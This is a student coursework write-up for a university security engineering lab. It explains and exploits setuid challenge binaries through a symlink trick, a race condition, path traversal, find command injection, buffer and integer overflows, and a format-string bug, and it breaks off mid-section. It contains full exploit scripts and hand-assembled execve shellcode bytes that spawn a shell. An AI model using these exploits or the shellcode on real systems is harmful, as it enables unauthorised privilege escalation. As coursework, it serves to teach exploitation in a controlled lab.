Security Engineering 7CCSMSEN

Semester 1 (2024-2025)
Coursework Submission

Click to access the:
- challenge source code and executables
- exploit source code

Environment notes:
- VM provided runs **Ubuntu 18.04.3 LTS**
- Challenges run with personality configured for **legacy VA space layout** (*jump to explainer*)
- Address Space Layout Randomisation (**ASLR**) is disabled

ASLR can be disabled globally[1] or using a personality flag[2]:

```sh
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # disable
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space # enable full random
```

```conf
# /etc/sysctl.d/01-disable-aslr.conf
kernel.randomize_va_space = 0
```

```sh
setarch `uname -m` -R $SHELL # start a shell with ASLR off
```

Contents

[1] https://askubuntu.com/a/318476
[2] https://askubuntu.com/a/507954

Challenge 1

This program runs an elevated shell if the given password is correct.

Explanation of Vulnerability

The following line of code is vulnerable to a **symlink attack**, where an attacker could pretend they know the secret. The following line of code contains the vulnerability:

```c
status = system("/usr/bin/diff /var/challenge/level1/.secret"
                " ~/.secret > /dev/null");
```

This program uses `diff` to compare its own secret file and the secret file in our home folder:

- If `diff` fails, i.e. can't open a file, then the program quits
- If there is a difference in the file, i.e. non-zero exit code from `diff`, then the program quits

So we can either provide a file with the correct content **or** pretend as if our file has the secret when in reality it is pointing to the program's own secret file which we don't have access to. There are no checks performed here to prevent us from doing this.

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ ./level1/exploit.sh
The user `p4w' is already a member of `lev1'.
```

Explanation of Exploit

The exploit therefore consists of creating a symlink and then running the program:

```sh
$ ln -s /var/challenge/level1/.secret ~/.secret
# create the symbolic link using ln
# specifying `-s` creates a symbolic instead of hard link
# first argument is target
# second argument is link name

$ /var/challenge/level1/1
# pwn!

$ id
# ... egid=3001(lev1) groups=3001(lev1)
```

Note: we can pipe `l33t` into the shell we drop — `echo l33t | /var/challenge/level1/1`.

Challenge 2

This program writes and runs a script with setuid.

Explanation of Vulnerability

This program is vulnerable to a **timing attack** due to **misconfigured file permissions**. Specifically, there is a delay between when the known state of a file and the actual use of a file, where the file is a script that an attacker has access to and could replace before execution and hence run arbitrary code.

The following lines of code create a file `script.sh` in the user's home directory:

```c
strcpy(path, getpwuid(getuid())->pw_dir); // real user's home directory
strcat(path, "/script.sh");
strcpy(buf, "#!/bin/bash\necho Hello.\ndate\nrm \"$0\"\n");
umask(0);
if ((fd = open(path, O_CREAT | O_EXCL | O_WRONLY, 02760)) < 0) {
```

- `strcpy(path, getpwuid(getuid())->pw_dir)` — the script is saved to our[3] home folder[4]
- `umask(0)` — newly created files will be world-writable by default[5]
- `open(path, O_CREAT | O_EXCL | O_WRONLY, 02760)` — flags and file mask specified[6]:
  - A file will be created if not exists, we will fail if file already exists, and open for write only.
  - File will be created with mask `2760/-rwxrwS---`.

The program then waits for 5 seconds:

```c
for (i = 0; i < 5; i++) {
  sleep(1);
```

During which we can replace `script.sh` before it is executed after the 5 seconds:

```c
execl("/bin/sh", "/bin/sh", "-p", path, (char *) 0);
```

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ ./level2/exploit.sh
please wait for us to run your script..p4w@ip-172-31-1-172:~$ ... starting script
The user `p4w' is already a member of `lev2'.
```

Explanation of Exploit

The exploit therefore consists of running the program in the background, waiting for it to create the target file, then finally overwriting it with the script that we want to run:

```sh
$ /var/challenge/level2/2 &
# run in background
$ printf "#\!/bin/bash\nl33t" > $PWD/script.sh
# ... wait
# The user `p4w' is already a member of `lev2'.
```

[3] https://linux.die.net/man/2/getuid
[4] https://linux.die.net/man/3/getpwuid
[5] https://stackoverflow.com/a/12116250
[6] https://man7.org/linux/man-pages/man2/open.2.html

Challenge 3

This program executes a given program with setuid.

Explanation of Vulnerability

This program is susceptible to a **path traversal attack**.
The user is able to specify a path to a file to execute by providing an argument to the program:

```c
sprintf(path, "%s%d%s%s", ..., argv[1]); // argv[1] is untrusted
                                         // copied to the path buffer
execv(path, &argv[1]);                   // then path is executed here
```

Some sanitisation is included in the program but it only filters the characters `|;\`&><` but not `.` and `/` which leaves opportunity to construct a path to any directory using `../`.

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ ./level3/exploit.sh
Executing: /var/challenge/level3/devel/bin/../../../../../usr/local/bin/l33t
The user `p4w' is already a member of `lev3'.
```

Explanation of Exploit

By default, the program places us in the directory `PREFIX_DIR + DEVBIN_DIR` which is:

```
/var/challenge/level/devel/bin/
```

So we need to traverse 5 directories up to reach `/` then we can append an absolute path to any file we would like to execute.

```sh
$ /var/challenge/level3/3 ../../../../../bin/sh
Executing: /var/challenge/level3/devel/bin/../../../../../bin/sh
sh-4.4$ # /bin/sh executed!
```

Challenge 4

This program is a wrapper for `find` that runs with setuid.

Explanation of Vulnerability

This program is vulnerable to a **command injection attack**.
The user is able to inject a mostly arbitrary command to execute on the following line:

```c
snprintf(..., "/usr/bin/find ~ -iname %s", argv[i]); // argv[i] is untrusted!
                                                     // copied to the arg. buffer
execl("/bin/sh", "sh", "-c", "-p", buf, (char *) 0); // executed here
```

This program attempts to do some sanitisation and blocks `\&><`;|`, this prevents most common attacks however we can abuse the `find` program and provide additional arguments.

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ ./level4/exploit.sh
The user `p4w' is already a member of `lev4'.
```

Explanation of Exploit

An initial thought would be to use `-exec command ;` however this requires us to inject a semicolon which is blocked by the sanitisation.

For example, we can use the `-exec command {} +` parameter[7]:

- This allows us to bypass the need to use a semicolon.
- However we must specify `{}` at least once, at the end.
  There is no character filter for `{}` so this is okay!

However, for `exec` to work, we must at least match a file, so let's create a dummy file:

```sh
touch a
```

Our command injection therefore becomes:

```sh
$ /var/challenge/level4/4 "a -exec /bin/echo {} +"
/home/p4w/temp/a # successfully executes echo
```

Breakdown of arguments:

- `a`: match the file we created
- `-exec`: execute something with the matched file
- `/bin/echo`: our target executable
- `{} +`: required argument format for this exec format

[7] https://man7.org/linux/man-pages/man1/find.1.html

Challenge 5

This program executes a given allowlisted program with given arguments with setuid.

Explanation of Vulnerability

This program is vulnerable to a **buffer overflow attack** due to an unbounded string copy operation which allows us to write past the intended buffer and overwrite memory we shouldn't.

```c
char buffer[192] = "";   // array of 192 characters
char filename[192] = ""; // contiguous in memory to `buffer`
                         // i.e. [buffer     ][filename   ]

strcpy(buffer, argv[2]); // unbounded string copy from argv[2] (untrusted)
```

Since we control `argv`, we can write an arbitrary number of bytes into the buffer. Once we write 192 characters, we start writing into the file name buffer as it is contiguous in memory to buffer.

> **Tip**
>
> This is not necessary to solve the challenge, it is trivial to just try a payload and see the expected behaviour. However, this is included to **verify this behaviour**.

If we disassemble the file, we can gather the addresses:

- `0x804a120`: filename address
- `0x804a060`: buffer address
- `0x804a120 - 0x804a060 = 192` (after 192 chars, we write into filename)

```
080485a6  int32_t main(int32_t argc, char** argv, char** envp)

080485ad      void* const __return_addr_1 = __return_addr
080485ad
080485c1      if (argv[1] == 0)
0804864a          fwrite(buf: "Please provide the program name\n", size: 1, count: 0x20, fp: stderr)
08048652          return 2
08048652
080485e7      snprintf(s: &filename, maxlen: 0xff, format: "/var/challenge/level5/%s", basename(filename: argv[1]), &argc, &_)
080485fc      printf(format: "Checking filename %s\n", 0x804a120)
080485fc
08048618      if (access(file: &filename, type: 1) != 0)
08048629          fwrite(buf: "You do not have the permission t…", size: 1, count: 0x34, fp: stderr)
08048631          return 1
08048631
08048663      if (argv[2] == 0)
08048688          gets(buf: &buffer)
08048663      else
08048676          strcpy(&buffer, argv[2])
08048676
0804869d      printf(format: "Executing filename %s\n", 0x804a120)
080486b6      execlp(file: &filename, arg: &filename, 0x804a060, 0)
080486be      return 0
```

Figure 1: Challenge 5 disassembled with Binary Ninja

We can verify this behaviour using gdb:

```sh
$ gdb /var/challenge/level5/5
pwndbg> break *0x80486b6 # address of `execlp` instruction
pwndbg> run sort AAAAAAAAAA(... 182 characters)BBBBBBBBBB(... 182)
pwndbg> x/100x 0x804a060 # address of `buffer` variable
0x804a060:      0x41414141      0x41414141      0x41414141      0x41414141
...
0x804a110:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a120:      0x42424242      0x42424242      0x42424242      0x42424242
```

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ ./level5/exploit.sh
Checking filename /var/challenge/level5/sort
Executing filename /usr/local/bin/l33t
The user `p4w' is already a member of `lev5'.
```

Explanation of Exploit

Given all the information we've gathered, the exploit is very straightforward.

```sh
PAYLOAD=$(perl -e 'print "a"x192; print "/usr/local/bin/l33t";')
#                 ^ fill buffer  ^ write into the filename buffer

/var/challenge/level5/5 sort $PAYLOAD
# pwn!
```

> **Note**
>
> The program actually executes `l33t` with the arguments:
>
> ```
> /usr/local/bin/l33t
> aaaaa(... 182 chars omitted)aaaaa/usr/local/bin/l33t
> ```
>
> This is because `buffer` is not null-terminated, so the `filename` is effectively appended to it.

Creating Shellcode (for 32-bit Linux)

For the next challenges, we need to prepare a shellcode which we will inject and execute.

To create our shellcode, we first write a simple C program that does what we want our exploited program to do, for example: pop a shell or run l33t.

```c
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>

void  main(void)
{
  char *name[2];
  name[0] = "/bin/sh";
  name[1] = NULL;

  execve(name[0], name, NULL);
  exit(0);
}
```

```c
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>

void  main(void)
{
  char *name[2];
  name[0] = "/usr/local/bin/l33t";
  name[1] = NULL;

  execve(name[0], name, NULL);
  exit(0);
}
```

Let's compile this:

```sh
gcc shellcode.c -o shellcode -m32 -static -fno-plt -fno-pic -fno-pie -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
```

- `-m32`: 32-bit build
- `-static`: static build, i.e. include `execve` implementation
- `-fno-plt -fno-pic -fno-pie`: disable all position independent code generation[8]
- `-fno-stack-protector -z execstack -mpreferred-stack-boundary=2`: kill stack protector

We can inspect the resulting executable using a tool such as Binary Ninja:

```
08049725    void main() __noreturn

08049725  55               push    ebp {var_4}
08049726  89e5             mov     ebp, esp {var_4}
08049728  83ec08           sub     esp, 0x8
0804972b  c745f808800b08   mov     dword [ebp-0x8 {var_c}], data_80b8008  {"/bin/sh"}
08049732  c745fc00000000   mov     dword [ebp-0x4 {var_8}], 0x0
08049739  8b45f8           mov     eax, dword [ebp-0x8 {var_c}]
0804973c  6a00             push    0x0 {var_10}
0804973e  8d55f8           lea     edx, [ebp-0x8 {var_c}]
08049741  52               push    edx {var_c} {var_14}
08049742  50               push    eax {var_18}
08049743  67e8774d0200     call    __execve
08049749  83c40c           add     esp, 0xc
0804974c  6a00             push    0x0 {var_10}
0804974e  67e84c7a0000     call    exit
{ Does not return }
```

Figure 2: Disassembly of compiled shellcode main()

We can see from the disassembly that the address of "/bin/sh" is 0x80b8008.
Also notice there is no system interrupts as they are abstracted away by libc.

[8] `__x86.get_pc_thunk.ax` call to find location: https://stackoverflow.com/a/50106546

First, let's regenerate the shellcode but explicitly generating the system calls:

```c
#include <stddef.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>

void  main(void)
{
  char *name[2];
  name[0] = "/bin/sh";
  name[1] = NULL;

  asm volatile(
    "int $0x80"
    :
    : "a"(__NR_execve), // write execve syscall index (0xb) to %eax
      "b"(name[0]),     // write address of "/bin/sh" to %ebx
      "c"(name),        // write address of name[] to %ecx
      "d"(name[1])      // write address of null pointer to %edx
    : "memory");        // tell GCC that memory may be arbitrarily r/w by asm

  asm volatile(
    "int $0x80"
    :
    : "a"(__NR_exit), // write execve syscall index (0x1) to %eax
      "b"(0)          // write exit statuc code (0x0) to %ebx
    : "memory");
}
```

We end up with the following:

```
08049725    void main() __noreturn

08049725  55                push    ebp {var_4}
08049726  89e5              mov     ebp, esp {var_4}
08049728  53                push    ebx {var_8}
08049729  83ec08            sub     esp, 0x8
0804972c  c745f408800b08    mov     dword [ebp-0xc {var_10}], data_80b8008  {"/bin/sh"}
08049733  c745f800000000    mov     dword [ebp-0x8 {var_c}], 0x0
0804973a  8b5df4            mov     ebx, dword [ebp-0xc {var_10}]
0804973d  8b55f8            mov     edx, dword [ebp-0x8 {var_c}]  {0x0}
08049740  b80b000000        mov     eax, 0xb
08049745  8d4df4            lea     ecx, [ebp-0xc {var_10}]
08049748  cd80              int     0x80
0804974a  b801000000        mov     eax, 0x1
0804974f  ba00000000        mov     edx, 0x0
08049754  89d3              mov     ebx, edx  {0x0}
08049756  cd80              int     0x80
{ Does not return }
```

Figure 3: Disassembly of compiled shellcode main()

We need a couple of things to be true for the shellcode to work:

- Null-terminated string `/bin/sh` must be somewhere in memory
  This is the `pathname` parameter
- We need address of the string `/bin/sh` somewhere in memory followed by a NULL byte
  This is the `argv` parameter
- Have the address of a NULL long word somewhere in memory
  This is the `envp` parameter

So in effect, we want to:

- Have null-terminated `/bin/sh` somewhere in memory.
- Have address of `/bin/sh` string somewhere in memory, followed by null terminator
- Copy `0xb` to `%eax`
- Copy address of address of `/bin/sh` to `%ebx`
- Copy address of `/bin/sh` to `%ecx`
- Copy address of null pointer to `%edx`
- Execute system call using `0x80` interrupt
- Copy `0x1` to `%eax`
- Copy `0x0` to `%ebx`
- Execute system call using `0x80` interrupt

However, we don't know where in memory space of the program we (and the string we need) will be placed! For this, we can take advantage of the `jmp` and `call` instructions:

- Both use relative addressing so we don't need to know our current location.
- If we place a call instruction which jumps back to our shellcode, the processor will push the memory location of the string onto the stack ("the return address").
- So we can simply jump to the call instruction before we do anything to find where the string is!

We also want the program to exit cleanly if `execve` fails for some reason, so we include an exit call at the end of our program.

Putting it all together:

```asm
main: jmp   ljmp          # jump to call instruction
lexp: popl %esi           # pop the location of '/bin/sh' string to %esi
      movb $0x0,0x7(%esi) # write null byte to memory after '/bin/sh'
      movl %esi,0x8(%esi) # write address of '/bin/sh' after
      movl $0x0,0xc(%esi) # write null long (pointer size) after
      movl $0xb,%eax      # write execve system call index to %eax
      movl %esi,%ebx      # write address of '/bin/sh' to %ebx (arg1)
      leal 0x8(%esi),%ecx # write addr of addr of '/bin/sh' to %ecx (arg2)
      leal 0xc(%esi),%edx # write address of null long to %edx (arg3)
      int  $0x80          # jump to kernel
      movl $0x1, %eax     # write exit system call index to %eax
      movl $0x0, %ebx     # write status code 0 to %ebx
      int  $0x80          # jump to kernel
ljmp: call lexp           # jump to next instruction in shellcode
                          # also pushes current EIP into stack
.string "/bin/sh"         # known location of '/bin/sh' string
```

Now we can compile the shellcode:

```sh
$ gcc -c -m32 asm-first-try.s # .. creates asm-first-try.o
```

And we can dump the raw hex bytes:

```sh
$ objdump -s asm-first-try.o
asm-first-try.o:     file format elf32-i386
Contents of section .text:
 0000 eb2a5ec6 46070089 7608c746 0c000000  .*^.F...v..F....
 0010 00b80b00 000089f3 8d4e088d 560ccd80  .........N..V...
 0020 b8010000 00bb0000 0000cd80 e8d1ffff  ................
 0030 ff2f6269 6e2f7368 00                 ./bin/sh.
```

At this point, this is a valid and working shellcode.

However, for the purposes of using this shellcode with argv/envp, we cannot have any embedded null bytes. We can find the culprits by dumping the bytes with the disassembly:

```sh
$ objdump -dS asm-first-try.o
Disassembly of section .text: # some entries omitted
00000002 <lexp>:
    3:   c6 46 07 00             movb   $0x0,0x7(%esi)
    a:   c7 46 0c 00 00 00 00    movl   $0x0,0xc(%esi)
   11:   b8 0b 00 00 00          mov    $0xb,%eax
   20:   b8 01 00 00 00          mov    $0x1,%eax
   25:   bb 00 00 00 00          mov    $0x0,%ebx
```

The problematic instructions can be fixed as such:

Culprits	Amended instructions	Explain?

`movb $0x0,0x7(%esi)`
`movl $0x0,0xc(%esi)`
	`xorl %eax,%eax`
	`movb %al,0x7(%esi)`
	`movl %eax,0xc(%esi)`
		XOR of any number with itself is always 0
		Hence we can create a NULL long word

`movl $0xb,%eax`	`movb $0xb,%al`	%eax is already zero We can write over the least significant byte

`movl $0x1,%eax`
`movl $0x0,%ebx`
	`xorl %ebx,%ebx`
	`movl %ebx,%eax`
	`inc %eax`
		Create a zero value in %ebx
		Copy it to %eax
		Increment %eax to produce a 1 value

Note: we must use `%al` which are the least significant 8 bits (1 byte) of the `%eax` register!
Otherwise GCC will fail to compile as usage of %eax is not allowed with movb.

After amending our shellcode, it now looks like this:

```asm
main: jmp   ljmp          # jump to call instruction
lexp: popl %esi           # pop the location of '/bin/sh' string to %esi
      xorl %eax,%eax      # create a null long in %eax
      movb %al,0x7(%esi)  # copy null byte (from LSB of %eax) after '/bin/sh'
      movl %esi,0x8(%esi) # write address of '/bin/sh' after
      movl %eax,0xc(%esi) # copy null long (from %eax) after
      movb $0xb,%al       # write execve system call index to LSB of %eax
      movl %esi,%ebx      # write address of '/bin/sh' to %ebx (arg1)
      leal 0x8(%esi),%ecx # write addr of addr of '/bin/sh' to %ecx (arg2)
      leal 0xc(%esi),%edx # write address of null long to %edx (arg3)
      int  $0x80          # jump to kernel
      xorl %ebx, %ebx     # create a null long in %ebx (status code 0)
      movl %ebx, %eax     # copy null long (from %ebx) to %eax
      inc  %eax           # increment by 1 to get exit system call index
      int  $0x80          # jump to kernel
ljmp: call lexp           # jump to next instruction in shellcode
                          # also pushes current EIP into stack
.string "/bin/sh"         # known location of '/bin/sh' string
```

Compile and dump:

```sh
$ gcc -c -m32 shellcode.s # .. creates shellcode.o
$ objdump -s shellcode.o

shellcode.o:     file format elf32-i386

Contents of section .text:
 0000 eb1f5e31 c0884607 89760889 460cb00b  ..^1..F..v..F...
 0010 89f38d4e 088d560c cd8031db 89d840cd  ...N..V...1...@.
 0020 80e8dcff ffff2f62 696e2f73 6800      ....../bin/sh.
```

Success!

We can transform these hex numbers into an escaped byte string for use in our scripts:

```python
b"\xeb\x1f\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b" \
b"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
b"\x80\xe8\xdc\xff\xff\xff/bin/sh"
```

To adjust this to work with other paths, we have to change the memory offsets accordingly.

```python
PATH = b"/usr/local/bin/l33t"
A    = bytes((len(PATH)    ).to_bytes(1, 'little')) # null byte offset
B    = bytes((len(PATH) + 1).to_bytes(1, 'little')) # pointer offset
C    = bytes((len(PATH) + 5).to_bytes(1, 'little')) # null long offset
SHELLCODE = b"\xeb\x1f\x5e\x31\xc0\x88\x46"+A+b"\x89\x76"+B+b"\x89\x46"+C+ \
            b"\xb0\x0b\x89\xf3\x8d\x4e"+B+b"\x8d\x56"+C+b"\xcd\x80\x31\xdb" \
            b"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff" + PATH
```

To make things simple: challenges 6-10 will use a premade shellcode using the techniques shown prior that executes `/usr/local/bin/l33t`.

A copy of that shellcode is provided in all exploit code files.

A disassembly is provided below:

```
00000000    void main() __noreturn

00000000  eb1f              jmp     ljmp
{ Does not return }


00000002    void lexp() __noreturn

00000002  5e                pop     %esi {__return_addr}
00000003  31c0              xor     %eax, %eax  {0x0}
00000005  884613            mov     %al, byte ptr [%esi+0x13]  {0x0}
00000008  897614            mov     %esi, dword ptr [%esi+0x14]
0000000b  894618            mov     %eax, dword ptr [%esi+0x18]  {0x0}
0000000e  b00b              mov     $0xb, %al
00000010  89f3              mov     %esi, %ebx
00000012  8d4e14            lea     dword ptr [%esi+0x14], %ecx
00000015  8d5618            lea     dword ptr [%esi+0x18], %edx
00000018  cd80              int     $0x80
0000001a  31db              xor     %ebx, %ebx  {0x0}
0000001c  89d8              mov     %ebx, %eax
0000001e  40                inc     %eax  {0x1}
0000001f  cd80              int     $0x80
{ Does not return }


00000021    void ljmp() __noreturn

00000021  e8dcffffff        call    lexp
{ Does not return }

00000026                  2f 75-73 72 2f 6c 6f 63 61 6c       /usr/local
00000030  2f 62 69 6e 2f 6c 33 33-74 00                    /bin/l33t.
```

Figure 4: Disassembly of the final l33t shellcode

Challenge 6

This program allows the user to construct a string by specifying a length, and then a series of commands that specify the character suffixed with the index to write it at in the buffer. Afterwards the program prints the built string. (the binary is setuid)

Explanation of Vulnerability

This program accepts an untrusted value that is susceptible to **integer overflow** causing unintended behaviour that allows us to **write into the stack**.

First, we must understand the context:

```c
// unsigned short range is 0 to 0xFFFF
unsigned short buffersize, length;

// parse arbitrary string as integer
length = atoi(argv[1]); // write into unsigned short
                        // anything but bits 0-15 are truncated
                        // e.g. 0x12345678 => 0x5678

// NB. length is unsigned so this is equivalent to `length == 0`
if (length <= 0) {return 1;}
```

So the only constraint we have is that length is greater than zero.
However, the next line allows us to craft an input that overflows to zero:

```c
buffersize = length + 1;
//  if length = 0x0FFFF (65535)
// buffersize = 0x10000 (but the MSB is truncated, so 0x0)
```

This puts the program into a state where:

- `length` is 65535
- `buffersize` is 0

The next three lines then allocate an empty array of size buffersize:

```c
buffer = alloca(buffersize);     // allocate an array of size 0 on stack
memset(buffer, ' ', buffersize); // nop
buffer[buffersize - 1] = 0;      // set top of stack to 0x0
```

So, we are now in a situation where we can do an arbitrary write on stack up to 65534 offset:

```c
buffer[index] = argv[i][0]; // program bound checks 0 <= index < 65535
                            // no bound checking provided by C
```

Where 0 corresponds to the top of the stack (as `alloca(0)`[9] allocates zero space on the stack).

[9] https://man7.org/linux/man-pages/man3/alloca.3.html

Explanation of Exploit

Since we can arbitrarly overwrite the stack, we can overwrite the retaddr in the current frame!
Let's start by figuring out what the stack looks like by the end of execution:

```sh
# recompile the challenge with debugging symbols to ease the process
$ gcc /var/challenge/level6/6.c -o 6 -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -no-pie -fno-pie
$ gdb --args 6 -1 \\n # debug creating an empty string
pwndbg> break 6.c:52
pwndbg> run
──────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────
In file: /var/challenge/level6/6.c:52
   47
   48                 buffer[index] = argv[i][0];
   49         }
   50
   51         printf("%s\n", buffer);
 ► 52         return 0;
   53 }
────────────────────────────────────[ STACK ]─────────────────────────────────────
00:0000| esp 0xffffcd2c ◂— 0x48 /* 'H' */
01:0004|-018 0xffffcd30 —▸ 0x804925c (usage+102) ◂— jne usage+112
02:0008|-014 0xffffcd34 —▸ 0xffffcfd3 ◂— 0x5c00312d /* '-1' */
03:000c|-010 0xffffcd38 ◂— 0xd000
04:0010|-00c 0xffffcd3c —▸ 0xffffcd30 —▸ 0x804925c (usage+102) ◂— jne usage+112
05:0014|-008 0xffffcd40 ◂— 0xcf9b
06:0018|-004 0xffffcd44 ◂— 0x3ffff
07:001c| ebp 0xffffcd48 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
```

We're interested in the last value on our stack frame, our return address.
It is positioned on the stack at the offset 0x001c, which is 28!

Let's try jumping to an arbitrary address with this knowledge:

```sh
$ strace -i /var/challenge/level6/6 -1 a28 b29 c30 d31\n
# success! we get a sigsegv at our specified address :D
[64636261] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x64636261} ---
[????????] +++ killed by SIGSEGV (core dumped) +++
```

Since we can jump to any address in the program's memory, we can jump to arbitrary instructions injected into the memory by us. In order to achieve this, we need:

- A shellcode (which we made earlier, *jump back to 'Creating Shellcode'*)
- An injection method

(... continued)

We could load our shellcode into the environment and deterministically find it at: (assuming a 64-bit system running a 32-bit executable with legacy VA space layout)[10]

$$\text{address of shellcode} = 0\text{xc}0000000 - 8 - \text{len}(\text{program\_name}) - 1 - \text{len}(\text{shellcode}) - 1$$

> **Important**
>
> The VM drops you into a shell which uses a legacy VA memory layout, which is set using[11]:
>
> ```sh
> setarch `uname -m` -3 -L -v $SHELL
> ```
>
> `setarch` changes the following personality flags[12]:
> - `-3`: Maximum of 3 GB address space.
> - `-L`: Provide legacy virtual address space layout.
>
> Correct memory mappings as seen in gdb:
>
> ```
> (gdb) info proc mappings
> ...
> 0xbffdf000 0xc0000000    0x21000        0x0 [stack]
> ```
>
> As expected, stack ends at 0xc0000000.
> If you are not using legacy VA, you will instead see the following:
>
> ```
> (gdb) info proc mappings
> ...
> 0xfffdd000 0xffffe000    0x21000        0x0 [stack]
> ```
>
> **Exploit must be programmed with legacy VA in mind!**

> **Tip**
>
> We could also edit the program and include the code:
>
> ```c
> char  *s;
> s = getenv("s");
> printf("env_addr = 0x%x\n", s);
> ```
>
> This will also give us the address expected.

[10] Equation provided in step 5 of practical tutorial: https://keats.kcl.ac.uk/mod/forum/discuss.php?d=704546
[11] https://keats.kcl.ac.uk/mod/forum/discuss.php?d=714238
[12] https://man7.org/linux/man-pages/man8/setarch.8.html

We now have everything we need to write and exploit the program.
Begin by preparing our constants we found earlier (file path, shellcode, retaddr offset):

```python
#!/usr/bin/python3
PROGRAM = '/var/challenge/level6/6'
SHELLCODE = b"..." # \x01\x02\x03... found earlier
EIP_OFFSET = 28
```

Then determine the address we want to jump to by using the formula shown earlier:

```python
ADDRESS = 0xc0000000 - 8 - len(PROGRAM) - 1 - len(SHELLCODE) - 1
```

Use a list comprehension to map each byte to the requested format of `(byte)(index)`, where we offset each index by the offset of the return address we found earlier.

```python
PAYLOAD = [
        byte.to_bytes(1, 'little') + str(idx + EIP_OFFSET).encode('ascii')
    for idx, byte
    in  enumerate(ADDRESS.to_bytes(4, 'little'))
]
```

Execute the program with the specified argument format and with only our shellcode in the env.

```python
from os import execve
ARGV = [PROGRAM, '-1'] + PAYLOAD
ENVP = {
  's': SHELLCODE
}
execve(ARGV[0], ARGV, ENVP)
```

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ ./level6/exploit.py
j
The user `p4w' is already a member of `lev6'.
```

Challenge 7

This program takes three arguments (username, password, hostname) and constructs a string in the form "http://username:password@hostname/", printing it to the user.

Explanation of Vulnerability

This program has an **off-by-1 logic error** which causes unintended behaviour that allows us to **write into the stack**.

To begin, we have to understand the bounds checking:

```c
strlen(argv[1]) > sizeof(username)
```

All arguments can be of length 0 to 64.
They are each copied into a buffer defined at the top of the file:

```c
char username[64], password[64], hostname[64];
strcpy(username, argv[1]); // copies up to 64 characters into char[]
```

The compiler will make the buffers are contiguous in memory.
So let's visualise what happens when we write the whole 64 characters:

```
username[64]    password[64]    hostname[64]
[               ][              ][              ]
[AAAAA....AAAAA][\0             ][              ]     # write "A"*64
[AAAAA....AAAAA][BBBBB....BBBBB][\0             ]     # write "B"*64
[AAAAA....AAAAA][BBBBB....BBBBB][CCCCC....CCCCC][\0] # write "C"*64
```

Since the null terminator byte of the previous string is overriden each subsequent time we write, the strings actually become:

- username, length 192: "`AAAAA....AAAAABBBBB....BBBBBCCCCC....CCCCC`"
- password, length 128: "`BBBBB....BBBBBCCCCC....CCCCC`"
- hostname, length 64: "`CCCCC....CCCCC`"

And we know that these strings are later copied into `char result[256]`, but we know that 384>256! Hence, we begin writing into the stack once 256 characters have been written.

Explanation of Exploit

All of the buffer sizes are multiples of 4 and it is likely everything is aligned, so let's just try to write an arbitrary address and see if we hit the return address!

```sh
$ STR=$(perl -e 'print "\x78\x56\x34\x12"x16') # 64 bytes, 0x12345678 (in LE)
$ strace -i /var/challenge/level7/7 $STR $STR $STR
# success! arbitrary jump :)
[12345678] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR,
si_addr=0x12345678} ---
[????????] +++ killed by SIGSEGV (core dumped) +++
```

So now we repeat the steps from the last challenge to inject our shellcode through the environment. (cont.)

As before, define constants:

```python
#!/usr/bin/python3
PROGRAM = '/var/challenge/level7/7'
SHELLCODE = b"..." # use the same shellcode as challenge 7
ADDRESS = 0xc0000000 - 8 - len(PROGRAM) - 1 - len(SHELLCODE) - 1
```

We convert the address into little-endian bytes, and repeat them 16 times to create a 64 char string.

```python
ARG = ADDRESS.to_bytes(4, 'little')*16
```

Specify it three times for each argument (username, password, hostname) and execute:

```python
from os import execve
ARGV = [PROGRAM, ARG, ARG, ARG]
ENVP = {
    's': SHELLCODE
}
execve(ARGV[0], ARGV, ENVP)
```

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ ./level7/exploit.py
http://:@/
The user `p4w' is already a member of `lev7'.
```

Challenge 8

This program is a “sudo” clone, which elevates our permission to execute a program.

Explanation of Vulnerability

This program has a **string formatting vulnerability** which allows us to arbitrarily read & write anywhere in memory.

This code writes our command to a string `log_entry` which is then passed as the format string argument to `fprintf` thus allowing us to write any format strings we want.

```c
char log_entry[64];
snprintf(log_entry, 64, "%d: %s\n", getuid(), command);
fprintf(f, log_entry, NULL);
```

Some format strings we could abuse here include:

- `"%s"`: read whatever comes next on the stack as a string
- `"%1$08x"`: read byte at offset 1 on the stack
  We can use this to scan the stack memory.
- `"%22$n"`: write the number of characters printed so far by `fprintf` to the location specified by the 22nd offset on the stack; This can be used to write anywhere to memory
- `"%100u"`: write an unsigned decimal integer occupying 100 characters in width
  Can be used to manipulate the number of characters printed so far

Explanation of Exploit

Before we can do anything, we have to analyse the program flow:

1. The program quits if a `sudolog` file is not present.
2. The program quits if a `sudoers` file is not present.
3. The program quits if it cannot setuid root, **setuid(0) will always fail**.

Given this information, we want the second case, so we can just create the file:

```sh
$ touch sudolog
$ /var/challenge/level8/8 a
Can't open sudoers file
Cannot execute your command
```

To jump to an arbitrary address, we could try overriding the return address but this is likely too complicated to execute, especially since we are likely going to mess with the stack using formatting primitives which will make alignment very difficult.

An alternative to overriding the retaddr is to take advantage of GOT/PLT and intercept a library call. (cont.)

> **Note**
>
> ## How does the PLT work?
> The **Global Offset Table** is a section of the program's memory that contains addresses of functions that are dynamically linked, allowing position-independent address calculations to point to absolute addresses. The **Procedure Linkage Table** redirects position-independent function calls to absolute locations, *similar to GOT but dealing with calls instead of calculations.*
>
> We can demonstrate the behaviour of the GOT/PLT to better understand it.
> First of all, let's jump into a debugger:

```sh
